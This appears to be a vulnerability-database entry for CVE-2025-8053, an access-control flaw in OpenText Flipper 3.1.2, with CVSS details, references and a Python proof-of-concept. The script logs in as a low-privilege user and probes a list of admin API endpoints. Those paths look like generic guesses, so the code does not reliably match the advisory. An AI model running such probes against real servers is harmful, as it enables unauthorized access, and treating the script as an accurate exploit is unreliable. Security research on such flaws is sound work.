CVE-2025-8053

Description

Insufficient Granularity of Access Control vulnerability in opentext Flipper allows Exploiting Incorrectly Configured Access Control Security Levels. The vulnerability could allow a low privilege user to interact with the backend API without sufficient privileges. This issue affects Flipper: 3.1.2.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:opentext:flipper:3.1.2:*:*:*:*:*:*:* - VULNERABLE

OpenText Flipper 3.1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-8053 - OpenText Flipper Access Control Bypass PoC
# Vulnerability: Insufficient Granularity of Access Control
# Affected: OpenText Flipper 3.1.2

import requests
import json

# Target configuration
TARGET_URL = "https://target-flipper-server.com"
LOW_PRIV_USER = "low_priv_user"
LOW_PRIV_PASS = "password123"

# Step 1: Authenticate as low-privilege user
session = requests.Session()
login_endpoint = f"{TARGET_URL}/api/auth/login"

login_payload = {
    "username": LOW_PRIV_USER,
    "password": LOW_PRIV_PASS
}

response = session.post(login_endpoint, json=login_payload)
print(f"[*] Login response status: {response.status_code}")

if response.status_code == 200:
    token = response.json().get("token")
    session.headers.update({"Authorization": f"Bearer {token}"})
    print("[+] Successfully authenticated as low-privilege user")

    # Step 2: Attempt to access privileged API endpoints
    privileged_endpoints = [
        "/api/admin/users",           # Admin user management
        "/api/admin/config",          # System configuration
        "/api/admin/sensitive-data",  # Sensitive data access
        "/api/v1/internal/settings",  # Internal settings
        "/api/admin/dashboard"        # Admin dashboard
    ]

    for endpoint in privileged_endpoints:
        url = f"{TARGET_URL}{endpoint}"
        resp = session.get(url)
        print(f"[*] Accessing {endpoint} -> Status: {resp.status_code}")

        if resp.status_code == 200:
            print(f"[!] VULNERABLE: Unauthorized access to {endpoint}")
            print(f"    Response: {resp.text[:200]}")
else:
    print("[-] Authentication failed")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-8053
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-8053
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-8053/
[4] VulDB https://vuldb.com/cve/CVE-2025-8053
[5] https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0850532

Raw JSON Data

JSON

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